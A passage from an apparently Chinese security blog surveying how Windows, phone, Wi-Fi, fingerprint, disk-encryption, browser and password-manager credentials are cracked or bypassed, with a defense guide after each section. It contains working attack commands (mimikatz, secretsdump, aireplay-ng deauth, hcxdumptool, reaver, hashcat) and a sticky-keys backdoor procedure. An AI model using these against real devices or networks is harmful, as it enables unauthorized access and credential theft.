Step 2: 用 Impacket 提取 NTLM Hash</span></span><br><span class="line">python secretsdump.py -sam sam.hive -system system.hive LOCAL</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 3: GPU 加速破解</span></span><br><span class="line">hashcat -m 1000 hash.txt rockyou.txt -O -w 3</span><br><span class="line"><span class="comment"># -m 1000 → NTLM Hash 模式</span></span><br></pre></td></tr></table></figure><h3 id="3-4-绕过登录：粘滞键后门"><a href="#3-4-绕过登录：粘滞键后门" class="headerlink" title="3.4 绕过登录：粘滞键后门"></a>3.4 绕过登录：粘滞键后门</h3><p>这是一条经典的物理绕过路径，不需要破解密码本身：</p><ol><li>用 Windows PE U 盘启动</li><li>将 <code>C:\Windows\System32\sethc.exe</code>（粘滞键）替换为 <code>cmd.exe</code></li><li>重启，在登录界面连按 5 次 Shift → 以 SYSTEM 权限打开命令提示符</li><li><code>net user Administrator NewPassword</code> → 密码被改了</li></ol><blockquote><p>Windows Defender 和 Secure Boot 可以防御此攻击，但很多老旧系统或配置不当的电脑仍然中招。</p></blockquote><h3 id="3-5-RDP-凭证窃取"><a href="#3-5-RDP-凭证窃取" class="headerlink" title="3.5 RDP 凭证窃取"></a>3.5 RDP 凭证窃取</h3><p>如果你在远程桌面连接时勾选了「记住密码」，Windows 会用 MasterKey 将密码加密保存在：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%userprofile%\AppData\Local\Microsoft\Credentials\</span><br></pre></td></tr></table></figure><p>Mimikatz 可以从内存中提取 MasterKey 并解密这些凭据：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe <span class="string">&quot;privilege::debug&quot;</span> <span class="string">&quot;dpapi::cred /in:C:\Users\xxx\AppData\Local\Microsoft\Credentials\xxx&quot;</span></span><br></pre></td></tr></table></figure><h3 id="3-6-防御指南"><a href="#3-6-防御指南" class="headerlink" title="3.6 防御指南"></a>3.6 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>使用 <strong>Windows Hello（PIN + TPM）</strong> 代替密码登录</li><li><strong>不要勾选 RDP&#x2F;浏览器&#x2F;应用的「记住密码」</strong></li><li>打开 <strong>Secure Boot</strong></li><li>对高价值设备启用 <strong>BitLocker + TPM + PIN</strong>（见第七章）</li><li>管理员账户密码至少 <strong>14 位</strong></li></ul></blockquote><hr><h2 id="四、手机锁屏密码：Android-iOS"><a href="#四、手机锁屏密码：Android-iOS" class="headerlink" title="四、手机锁屏密码：Android &#x2F; iOS"></a>四、手机锁屏密码：Android &#x2F; iOS</h2><h3 id="4-1-两类系统的根本差异"><a href="#4-1-两类系统的根本差异" class="headerlink" title="4.1 两类系统的根本差异"></a>4.1 两类系统的根本差异</h3><table><thead><tr><th></th><th>Android</th><th>iOS</th></tr></thead><tbody><tr><td><strong>加密模型</strong></td><td>基于文件的加密（FBE），密钥由锁屏密码保护</td><td>硬件安全隔区（Secure Enclave），密码与加密绑定</td></tr><tr><td><strong>绕过难度</strong></td><td>厂商五花八门，漏洞多</td><td>极高，但可重置</td></tr><tr><td><strong>数据保留</strong></td><td>部分工具声称能保留数据</td><td>几乎所有方法都会擦除数据</td></tr></tbody></table><h3 id="4-2-Android-锁屏破解"><a href="#4-2-Android-锁屏破解" class="headerlink" title="4.2 Android 锁屏破解"></a>4.2 Android 锁屏破解</h3><p><strong>方法一：Google 查找我的设备（远程擦除）</strong></p><p>如果你知道 Google 账号密码，访问 <code>android.com/find</code> → 擦除设备 → 锁屏密码随数据一起被清除。数据会丢失。</p><p><strong>方法二：ADB 删除密码文件（需事先开启 USB 调试）</strong></p><p>如果之前开启了 USB 调试：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">adb shell <span class="built_in">rm</span> /data/system/gesture.key     <span class="comment"># 图案锁</span></span><br><span class="line">adb shell <span class="built_in">rm</span> /data/system/password.key    <span class="comment"># 密码锁</span></span><br><span class="line">adb reboot</span><br></pre></td></tr></table></figure><p><strong>方法三：商业工具（如 Dr.Fone &#x2F; DroidKit &#x2F; PassFab）</strong></p><p>原理是利用 Android 恢复模式（Download Mode）刷入解锁固件。支持的型号和 Android 版本有限，且可能丢失数据。费用 $30-$70。</p><p><strong>方法四：利用 Find My Mobile（仅三星）</strong></p><p>三星的 Find My Mobile 可以在不解锁屏幕的情况下远程解锁。前提是手机登录了三星账号且已开启该功能。</p><p><strong>方法五：TWRP Recovery 删除密码</strong></p><p>如果设备已安装 TWRP（第三方 Recovery）且 Bootloader 已解锁：</p><ol><li>进入 TWRP → 文件管理器</li><li>导航到 <code>/data/system/</code></li><li>删除 <code>locksettings.db</code> 及相关 <code>.key</code> 文件</li><li>重启 → 锁屏消失</li></ol><p><strong>方法六：FRP（Factory Reset Protection）绕过</strong></p><p>这是针对 Android 5.1+ 的「防盗保护」。恢复出厂设置后会要求输入之前的 Google 账号。理论上这是好设计，但每个 Android 版本都有 FRP 绕过漏洞被不断发现和修补。</p><h3 id="4-3-iOS-锁屏破解"><a href="#4-3-iOS-锁屏破解" class="headerlink" title="4.3 iOS 锁屏破解"></a>4.3 iOS 锁屏破解</h3><p><strong>核心认知：现代 iPhone 无法「破解」——只能「重置」。</strong></p><p>iOS 的 Secure Enclave 是一个独立的硬件安全芯片。锁屏密码和加密密钥绑定在一起。错误 10 次（如果开启了「抹掉数据」），所有数据自动销毁。</p><p><strong>可行的路径：</strong></p><table><thead><tr><th>方法</th><th>数据保留</th><th>前提条件</th></tr></thead><tbody><tr><td>恢复模式 + Finder&#x2F;iTunes</td><td>❌ 全清</td><td>电脑 + 数据线</td></tr><tr><td>iCloud 查找 → 抹掉</td><td>❌ 全清</td><td>知道 Apple ID 密码</td></tr><tr><td>Apple Devices 应用（Windows）</td><td>❌ 全清</td><td>电脑 + 数据线</td></tr><tr><td>iOS 17 忘记密码 → 旧密码重设</td><td>✅ 保留</td><td>72 小时内刚改过密码</td></tr><tr><td>iOS 15.2+ 锁屏直接抹掉</td><td>❌ 全清</td><td>连接网络、知道 Apple ID</td></tr><tr><td>第三方工具（Passixer &#x2F; MagFone）</td><td>❌ 全清</td><td>$30-$50</td></tr><tr><td>Apple Watch 解锁</td><td>✅ 保留</td><td>提前设置、戴着手表</td></tr></tbody></table><blockquote><p><strong>Apple Watch 解锁是最骚的一条路</strong>：戴口罩时，Apple Watch 可以解锁 iPhone。如果提前设置好了，戴上手表、戴上口罩、唤醒 iPhone —— 锁屏就打开了。然后你可以在「设置」中重设密码。</p></blockquote><h3 id="4-4-防御指南"><a href="#4-4-防御指南" class="headerlink" title="4.4 防御指南"></a>4.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>使用 <strong>6 位或更长</strong>的 PIN（不要用 4 位数字）</li><li>Android：<strong>不要解锁 Bootloader</strong>，不要开启「允许 OEM 解锁」</li><li>Android：<strong>关闭 USB 调试</strong>（除非开发时需要）</li><li>iPhone：开启「<strong>抹掉数据</strong>」（10 次错误自动清除）</li><li>iPhone：记住你的 <strong>Apple ID 密码</strong>——它是最后的救命稻草</li><li>不要让手机离开视线——物理接触是绕过锁屏的前提</li></ul></blockquote><hr><h2 id="五、Wi-Fi-密码：你家路由器到底安全吗？"><a href="#五、Wi-Fi-密码：你家路由器到底安全吗？" class="headerlink" title="五、Wi-Fi 密码：你家路由器到底安全吗？"></a>五、Wi-Fi 密码：你家路由器到底安全吗？</h2><h3 id="5-1-WEP-WPA-WPA2-WPA3-一图看懂"><a href="#5-1-WEP-WPA-WPA2-WPA3-一图看懂" class="headerlink" title="5.1 WEP &#x2F; WPA &#x2F; WPA2 &#x2F; WPA3 一图看懂"></a>5.1 WEP &#x2F; WPA &#x2F; WPA2 &#x2F; WPA3 一图看懂</h3><table><thead><tr><th>协议</th><th>发布年份</th><th>加密</th><th>破解难度</th></tr></thead><tbody><tr><td><strong>WEP</strong></td><td>1997</td><td>RC4（静态 IV，24 位）</td><td><strong>秒破</strong>——抓几万个包就能算出密码</td></tr><tr><td><strong>WPA（TKIP）</strong></td><td>2003</td><td>RC4 + TKIP</td><td>比 WEP 好但已知攻击存在</td></tr><tr><td><strong>WPA2（AES-CCMP）</strong></td><td>2004</td><td>AES-CCMP</td><td>弱密码<strong>可字典破解</strong></td></tr><tr><td><strong>WPA3</strong></td><td>2018</td><td>AES-GCMP + SAE</td><td>离线字典攻击<strong>不再可行</strong></td></tr></tbody></table><h3 id="5-2-WPA2-的四次握手与破解原理"><a href="#5-2-WPA2-的四次握手与破解原理" class="headerlink" title="5.2 WPA2 的四次握手与破解原理"></a>5.2 WPA2 的四次握手与破解原理</h3><p>WPA2 的致命弱点不在于 AES——而在于<strong>你可以抓取握手包做离线密码测试，而且没有速率限制</strong>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">四次握手核心过程：</span><br><span class="line">1. AP → Client：发送 ANonce（随机数）</span><br><span class="line">2. Client → AP：用自己的 SNonce + 密码（PSK）推导出 PTK，发回 SNonce + MIC</span><br><span class="line">3. AP → Client：验证 MIC，发送 GTK</span><br><span class="line">4. Client → AP：确认</span><br><span class="line"></span><br><span class="line">攻击者一旦抓到了第 1、2 步的数据：</span><br><span class="line">  → 就能离线用字典逐一试密码</span><br><span class="line">  → GPU 每秒能试几十万到上百万次</span><br><span class="line">  → 弱密码（如纯数字 8 位）几分钟就破</span><br></pre></td></tr></table></figure><h3 id="5-3-实战：WPA2-破解完整流程"><a href="#5-3-实战：WPA2-破解完整流程" class="headerlink" title="5.3 实战：WPA2 破解完整流程"></a>5.3 实战：WPA2 破解完整流程</h3><p><strong>准备工作：</strong> 需要一张支持监听模式（Monitor Mode）的无线网卡（如 Atheros AR9271、Realtek RTL8812AU 芯片的外置 USB 网卡）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Step 0: 进入监听模式</span></span><br><span class="line"><span class="built_in">sudo</span> airmon-ng check <span class="built_in">kill</span></span><br><span class="line"><span class="built_in">sudo</span> airmon-ng start wlan0        <span class="comment"># 创建 wlan0mon</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 1: 扫描周围网络</span></span><br><span class="line"><span class="built_in">sudo</span> airodump-ng wlan0mon</span><br><span class="line"><span class="comment"># 记下目标：BSSID（MAC地址）和信道（Channel）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 2: 锁定目标，准备抓握手包</span></span><br><span class="line"><span class="built_in">sudo</span> airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 3: 强迫已连接设备掉线重连（抓握手包）</span></span><br><span class="line"><span class="comment"># 在另一个终端窗口：</span></span><br><span class="line"><span class="built_in">sudo</span> aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon</span><br><span class="line"><span class="comment"># 当 airodump-ng 右上角显示 &quot;WPA handshake: AA:BB:CC:DD:EE:FF&quot; 时，抓包成功</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 4: GPU 破解</span></span><br><span class="line">hcxpcapngtool -o hash.hc22000 capture-01.cap   <span class="comment"># 转换格式</span></span><br><span class="line">hashcat -m 22000 hash.hc22000 rockyou.txt       <span class="comment"># 字典攻击</span></span><br></pre></td></tr></table></figure><h3 id="5-4-PMKID-攻击——更快更静默"><a href="#5-4-PMKID-攻击——更快更静默" class="headerlink" title="5.4 PMKID 攻击——更快更静默"></a>5.4 PMKID 攻击——更快更静默</h3><p><strong>不需要客户端在线！</strong> 只要 AP 支持 PMKID（绝大多数都支持），直接向 AP 发送关联请求就能获取 PMKID，然后离线破解。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng \</span><br><span class="line">     --filtermode=2 --filterlist_ap=AA:BB:CC:DD:EE:FF</span><br><span class="line"><span class="comment"># 5-10 分钟即可抓到 PMKID</span></span><br><span class="line"></span><br><span class="line">hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng</span><br><span class="line">hashcat -m 22000 pmkid.hc22000 rockyou.txt</span><br></pre></td></tr></table></figure><h3 id="5-5-WPS-PIN-攻击（老路由的致命漏洞）"><a href="#5-5-WPS-PIN-攻击（老路由的致命漏洞）" class="headerlink" title="5.5 WPS PIN 攻击（老路由的致命漏洞）"></a>5.5 WPS PIN 攻击（老路由的致命漏洞）</h3><p>WPS 的设计是用一个 8 位 PIN 码快速连接。但这个 PIN 码的验证方式有严重缺陷：<strong>最后一位是校验位（只剩 7 位有效），且 PIN 被分成两半验证</strong>——前 4 位和后 3 位各自独立验证。这意味着攻击者只需要试 10⁴ + 10³ &#x3D; <strong>11,000 次</strong>就能穷举 PIN。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Reaver 工具自动化攻击</span></span><br><span class="line">reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv</span><br><span class="line"><span class="comment"># 几小时内拿到 WPS PIN → 直接获取 Wi-Fi 密码</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>防御：关闭路由器的 WPS 功能！</strong></p></blockquote><h3 id="5-6-WPA3-也不完美"><a href="#5-6-WPA3-也不完美" class="headerlink" title="5.6 WPA3 也不完美"></a>5.6 WPA3 也不完美</h3><p>WPA3 修复了离线字典攻击（SAE 每次尝试都需要与 AP 在线交互），但引入了新攻击面：</p><ul><li><strong>过渡模式降级攻击：</strong> 很多路由器同时开 WPA2 + WPA3（过渡模式），攻击者可以伪装成「只支持 WPA2 的设备」迫使客户端降级到 WPA2</li><li><strong>Dragonblood 漏洞（已修补）：</strong> SAE 协议的侧信道信息泄露</li></ul><h3 id="5-7-防御指南"><a href="#5-7-防御指南" class="headerlink" title="5.7 防御指南"></a>5.7 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li><strong>立即关闭路由器的 WPS</strong></li><li>使用 <strong>WPA2-AES 或 WPA3</strong></li><li>Wi-Fi 密码至少 <strong>12 位，含大小写字母+数字+符号</strong></li><li>不要用「中文+数字」当密码（大部分字典覆盖不到，但如果攻击者定向生成就不安全）</li><li>开启路由器的 MAC 地址过滤（额外一层门槛，但不要当为主要防御）</li><li>定期查看路由器已连接设备列表</li></ul></blockquote><hr><h2 id="六、指纹识别：手机-门锁-笔记本"><a href="#六、指纹识别：手机-门锁-笔记本" class="headerlink" title="六、指纹识别：手机 &#x2F; 门锁 &#x2F; 笔记本"></a>六、指纹识别：手机 &#x2F; 门锁 &#x2F; 笔记本</h2><h3 id="6-1-三种指纹传感器"><a href="#6-1-三种指纹传感器" class="headerlink" title="6.1 三种指纹传感器"></a>6.1 三种指纹传感器</h3><table><thead><tr><th>类型</th><th>原理</th><th>破解难度</th><th>常见设备</th></tr></thead><tbody><tr><td><strong>电容式</strong></td><td>测量指纹脊与谷的电容差异生成图像</td><td><strong>中</strong>（硅胶指纹膜 + 导电材料可骗过）</td><td>手机 Home 键、后置指纹、智能门锁</td></tr><tr><td><strong>光学式</strong></td><td>发光照亮指纹，反射光成像</td><td><strong>低</strong>（高清照片经过处理即可）</td><td>屏下光学指纹、老式门禁</td></tr><tr><td><strong>超声波</strong></td><td>发出超声波，不同深度反射波形不同</td><td><strong>较高</strong>（需要 3D 模具）</td><td>三星旗舰屏下指纹</td></tr></tbody></table><h3 id="6-2-指纹破解的三种路径"><a href="#6-2-指纹破解的三种路径" class="headerlink" title="6.2 指纹破解的三种路径"></a>6.2 指纹破解的三种路径</h3><p><strong>路径一：电容硅胶指纹膜</strong></p><p>国家市场监管总局的官方实验室在 2023 年做过测试，<strong>77% 的受测智能手机</strong>被电容硅胶指纹膜成功解锁。测试结论：</p><blockquote><p>“常见带有指纹识别功能的消费品大多数均可被电容硅胶指纹膜解锁……智能门锁与门禁的指纹头大多采用电容式指纹传感器，被电容硅胶指纹膜解锁成功率较高。”</p></blockquote><p>制作流程（来自公开安全研究报告）：</p><ol><li>从玻璃杯、手机屏幕等表面提取残留指纹</li><li>用 Photoshop 处理提高清晰度</li><li>3D 打印模具 → 注入导电硅胶&#x2F;织物胶水</li><li>将指纹膜贴在手指上按压传感器</li></ol><p><strong>路径二：导电胶带「指纹学习」攻击</strong></p><p>2018 年央视报道的漏洞：将导电笔画了图案的透明胶带贴在指纹传感器上，机主正常解锁 3 次——手机会把胶带上的导电图案「学」进指纹模板。此后，<strong>任何人的手指</strong>（甚至橘子皮）都能解锁。原理是手机指纹匹配的相似度阈值过低（可能只需 20% 匹配）。</p><p><strong>路径三：高清照片 + 打印</strong></p><p>对于光学指纹传感器（很多屏下指纹手机），用足够高分辨率的指纹照片打印在透明胶片上，即可骗过传感器。</p><p><strong>但说实话：</strong> 对普通人而言，被指纹膜攻击的概率极低——制作门槛高、需要定向采集指纹。<strong>更大的风险是：你手机被偷后，对方可以用你的锁屏密码（而不是指纹）重置指纹。</strong></p><h3 id="6-3-防御指南"><a href="#6-3-防御指南" class="headerlink" title="6.3 防御指南"></a>6.3 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li><strong>重新录入指纹</strong>（如果担心胶带攻击）</li><li>查看指纹传感器上有没有被贴不明胶带&#x2F;膜</li><li>手机重启后<strong>第一次解锁必须用密码</strong>（iOS 和大部分 Android 都是这样）——这是一个重要安全设计</li><li>智能门锁：选择带 <strong>3D 结构光人脸识别</strong> + 指纹的双重验证</li><li>不要把指纹留在明显能拍摄到的玻璃表面</li></ul></blockquote><hr><h2 id="七、硬盘加密：BitLocker-FileVault-VeraCrypt"><a href="#七、硬盘加密：BitLocker-FileVault-VeraCrypt" class="headerlink" title="七、硬盘加密：BitLocker &#x2F; FileVault &#x2F; VeraCrypt"></a>七、硬盘加密：BitLocker &#x2F; FileVault &#x2F; VeraCrypt</h2><h3 id="7-1-全盘加密的原理"><a href="#7-1-全盘加密的原理" class="headerlink" title="7.1 全盘加密的原理"></a>7.1 全盘加密的原理</h3><p>全盘加密（FDE）在系统启动前加密整个硬盘，解密密钥由用户密码保护。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">你的密码 → [KDF 密钥派生] → 解密 → 卷主密钥（VMK）→ 解密 → 全盘加密密钥（FVEK）</span><br><span class="line">                                                                     ↓</span><br><span class="line">                                                            实时加解密硬盘数据</span><br></pre></td></tr></table></figure><p><strong>关键问题：</strong> FVEK 在系统运行期间存储在 RAM 中。一旦 FVEK 离开 TPM 进入了内存，保护就降级了。</p><h3 id="7-2-冷启动攻击（Cold-Boot-Attack）——-全盘加密的阿克琉斯之踵"><a href="#7-2-冷启动攻击（Cold-Boot-Attack）——-全盘加密的阿克琉斯之踵" class="headerlink" title="7.2 冷启动攻击（Cold Boot Attack）—— 全盘加密的阿克琉斯之踵"></a>7.2 冷启动攻击（Cold Boot Attack）—— 全盘加密的阿克琉斯之踵</h3><p>DRAM 内存芯片在断电后会<strong>逐渐</strong>丢失数据（数据残留效应）。如果把内存冷却到 <strong>-50°C</strong>（用一罐压缩空气倒过来喷就行），数据可以保留<strong>数分钟甚至数十分钟</strong>。</p><p>攻击流程：</p><ol><li>拿到一台<strong>正在运行或处于睡眠状态</strong>的电脑</li><li>强制重启（拔电池或按电源键硬断电）</li><li>立即从 U 盘启动一个轻量级操作系统</li><li>转储 RAM 内容到文件</li><li>在内存转储中搜索 AES 密钥特征模式</li><li>用找到的 FVEK 解密整个硬盘</li></ol><blockquote><p>这个攻击对 <strong>BitLocker（TPM 模式）、FileVault、dm-crypt、VeraCrypt</strong> 全部有效，因为它不是攻击加密算法，而是攻击<strong>内存中还没被擦除的密钥</strong>。</p></blockquote><h3 id="7-3-BitLocker-的-TPM-only-陷阱"><a href="#7-3-BitLocker-的-TPM-only-陷阱" class="headerlink" title="7.3 BitLocker 的 TPM-only 陷阱"></a>7.3 BitLocker 的 TPM-only 陷阱</h3><p>TPM-only 是 BitLocker 的默认配置。TPM 验证系统启动链未被篡改后，<strong>自动</strong>将 VMK 释放给操作系统——用户什么都不需要做，开机就直接进桌面。</p><p><strong>这意味着：</strong> 一旦电脑被偷时处于关机状态，攻击者开机后 TPM 会正常释放密钥，然后冷启动攻击拿走 FVEK → 全盘解密。</p><p><strong>微软自己的研究团队也在 2025 年发现了一种名为「BitUnlocker」的 BitLocker 全盘加密绕过技术</strong>，通过操纵早期启动条件和恢复环境来诱骗 TPM 释放密钥。</p><h3 id="7-4-防御指南"><a href="#7-4-防御指南" class="headerlink" title="7.4 防御指南"></a>7.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>BitLocker 使用 <strong>TPM + PIN</strong> 模式：开机需要输入 PIN，没有 PIN 就没有密钥</li><li>离开电脑时<strong>关机</strong>（不是睡眠、不是休眠）</li><li>启用 <strong>Kernel DMA Protection</strong>（防止通过 Thunderbolt&#x2F;FireWire 直接读内存）</li><li>macOS 用户：<strong>FileVault 默认就安全</strong>——苹果强制要求用户密码才能解锁</li><li>如果必须用睡眠：将睡眠模式改为 <strong>S4（休眠）</strong>，数据写入加密磁盘后断开内存供电</li></ul></blockquote><hr><h2 id="八、浏览器保存的密码：你的保险柜钥匙就在门垫下面"><a href="#八、浏览器保存的密码：你的保险柜钥匙就在门垫下面" class="headerlink" title="八、浏览器保存的密码：你的保险柜钥匙就在门垫下面"></a>八、浏览器保存的密码：你的保险柜钥匙就在门垫下面</h2><h3 id="8-1-Chrome-Edge（Chromium-内核）"><a href="#8-1-Chrome-Edge（Chromium-内核）" class="headerlink" title="8.1 Chrome &#x2F; Edge（Chromium 内核）"></a>8.1 Chrome &#x2F; Edge（Chromium 内核）</h3><p>Chrome 将保存的密码加密存储在 SQLite 数据库中：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%LocalAppData%\Google\Chrome\User Data\Default\Login Data</span><br></pre></td></tr></table></figure><p>加密用的是 <strong>AES-256-GCM</strong>——看起来很强。但：</p><p><strong>加密密钥就放在同一个目录下的 <code>Local State</code> 文件中。</strong></p><p>用记事本打开这个文件，搜索 <code>encrypted_key</code>，这就是你的密钥。</p><p>Chrome 依赖 Windows 的 <strong>DPAPI（Data Protection API）</strong> 来保护这个密钥。DPAPI 的加密绑定到当前登录的 Windows 用户——意味着任何以你身份运行的程序都可以调用 <code>CryptUnprotectData()</code> 函数解密这个密钥，然后打开你的密码数据库。</p><p><strong>一句话总结：Chrome 把保险箱和钥匙放在同一个房间，然后用一个「谁来叫我开门就开门」的门锁。</strong></p><p>Chrome 官方在 2013 年对此的回应是：「如果有人已经获取了你系统账户的访问权限，再多安全措施也无用。」——这更像甩锅。</p><p><strong>v127 之后的新变化：</strong> Chrome 引入了「应用绑定加密」（App-Bound Encryption），<code>Local State</code> 中的密钥以 v20 前缀开头，解密需要注入 Chrome 进程上下文调用 IElevator COM 接口。门槛提高了，但对有管理员权限的攻击者来说仍然不是问题。</p><h3 id="8-2-Firefox"><a href="#8-2-Firefox" class="headerlink" title="8.2 Firefox"></a>8.2 Firefox</h3><p>Firefox 使用 Network Security Services（NSS）库 <code>nss3.dll</code> 进行加密。存储位置在用户配置文件夹（随机名称）下的 <code>logins.json</code> 和 <code>key4.db</code>。</p><p><strong>差异：</strong> Firefox 提供了<strong>主密码</strong>功能——如果启用，所有密码必须先用主密码解锁，否则即使在同一用户下也无法读取。<strong>但默认情况下这个功能是关闭的。</strong></p><h3 id="8-3-浏览器的信息窃取木马产业"><a href="#8-3-浏览器的信息窃取木马产业" class="headerlink" title="8.3 浏览器的信息窃取木马产业"></a>8.3 浏览器的信息窃取木马产业</h3><p>现实中，浏览器密码泄露的主要威胁不是有人坐在你电脑前手动操作，而是<strong>恶意软件</strong>。</p><p>信息窃取木马（Infostealer，如 Azorult、RedLine、Vidar）的工作流程：</p><ol><li>通过钓鱼邮件 &#x2F; 恶意下载安装到受害者电脑</li><li>找到 Chrome&#x2F;Firefox&#x2F;Edge 的数据目录</li><li>调用 <code>CryptUnprotectData()</code> 自动解密所有保存的密码</li><li>连同浏览历史、Cookie、信用卡信息一起打包上传到攻击者服务器</li><li>通常在<strong>几秒内</strong>完成，用户毫无感知</li></ol><blockquote><p>Azorult 曾占所有 Trojan-PSW 类恶意软件攻击的 25% 以上。</p></blockquote><h3 id="8-4-防御指南"><a href="#8-4-防御指南" class="headerlink" title="8.4 防御指南"></a>8.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li><strong>不要在浏览器中保存重要密码</strong>——改用密码管理器（见第九章）</li><li>Firefox 用户：<strong>开启主密码</strong></li><li>不要让不信任的人接触你的电脑</li><li>不要下载来路不明的 exe&#x2F;msi</li><li>如果已经保存了密码：<strong>立即清空 Chrome 的「已保存密码」列表</strong>，全量迁移到 Bitwarden&#x2F;KeePass</li></ul></blockquote><hr><h2 id="九、密码管理器主密码：零知识架构的最后防线"><a href="#九、密码管理器主密码：零知识架构的最后防线" class="headerlink" title="九、密码管理器主密码：零知识架构的最后防线"></a>九、密码管理器主密码：零知识架构的最后防线</h2><h3 id="9-1-密码管理器的安全模型"><a href="#9-1-密码管理器的安全模型" class="headerlink" title="9.1 密码管理器的安全模型"></a>9.1 密码管理器的安全模型</h3><p>以 <strong>Bitwarden</strong> 为例，密码管理器使用「零知识」架构：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">你的主密码</span><br><span class="line">    ↓ PBKDF2 / Argon2id (60万+ 轮迭代)</span><br><span class="line">主密钥（Master Key）</span><br><span class="line">    ↓ AES-256（在客户端）</span><br><span class="line">加密密码库（Vault）</span><br><span class="line">    ↓ TLS（传输到云服务器）</span><br><span class="line">云端存储加密后的 Vault</span><br></pre></td></tr></table></figure><p>关键设计：</p><ul><li>服务器<strong>永远看不到</strong>你的主密码</li><li>解密<strong>只在你的客户端</strong>发生</li><li>即使 Bitwarden 服务器被入侵，攻击者只能拿到加密后的 blob</li><li>如果忘了主密码：<strong>永远找不回来</strong>（这正是安全性的保证）</li></ul><h3 id="9-2-破解密码管理器主密码"><a href="#9-2-破解密码管理器主密码" class="headerlink" title="9.2 破解密码管理器主密码"></a>9.2 破解密码管理器主密码</h3><p>密码管理器的主密码一旦被破解，<strong>你的所有密码全部暴露</strong>——这是单点故障。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Bitwarden 导出（导出为未加密的 JSON 时，实为导出加密后的 .json 文件）</span></span><br><span class="line"><span class="comment"># 然后可以用 hashcat 模式 28600 破解</span></span><br><span class="line">hashcat -m 28600 bitwarden_hash.txt rockyou.txt</span><br></pre></td></tr></table></figure><p><strong>Bitwarden 使用 PBKDF2-SHA256（默认 60 万轮迭代，可调至 200 万轮）</strong>，比纯 NTLM（无 KDF）慢了很多，但 GPU 仍然能以每秒数千次的速度测试。</p><h3 id="9-3-防御指南"><a href="#9-3-防御指南" class="headerlink" title="9.3 防御指南"></a>9.3 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>主密码<strong>至少 16 位</strong>，不包含任何个人信息</li><li>用**口令短语（passphrase）**代替复杂密码：<code>correct-horse-battery-staple</code> 比 <code>Tr0ub4dor&amp;3</code> 更好记也更安全</li><li>Bitwarden 用户：在设置中将 KDF 改为 <strong>Argon2id</strong>，迭代数拉到设备承受范围内的最高值</li><li><strong>开启双因素认证（2FA）</strong>——即使主密码泄露，没有 2FA 也无法从新设备登录</li><li>主密码<strong>绝不在任何其他地方使用</strong></li></ul></blockquote><hr><h2 id="十、SSH-私钥密码：你服务器的最后一关"><a href="#十、SSH-私钥密码：你服务器的最后一关" class="headerlink" title="十、SSH 私钥密码：你服务器的最后一关"></a>十、SSH 私钥密码：你服务器的最后一关</h2><h3 id="10-1-SSH-私钥的加密机制"><a href="#10-1-SSH-私钥的加密机制" class="headerlink" title="10.1 SSH 私钥的加密机制"></a>10.1 SSH 私钥的加密机制</h3><p>SSH 私钥可以设置一个密码短语（passphrase）来保护。即使私钥文件被偷，不知道密码短语也无法使用。</p><p>私钥文件的头部会标明加密方式：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-----BEGIN OPENSSH PRIVATE KEY-----</span><br><span 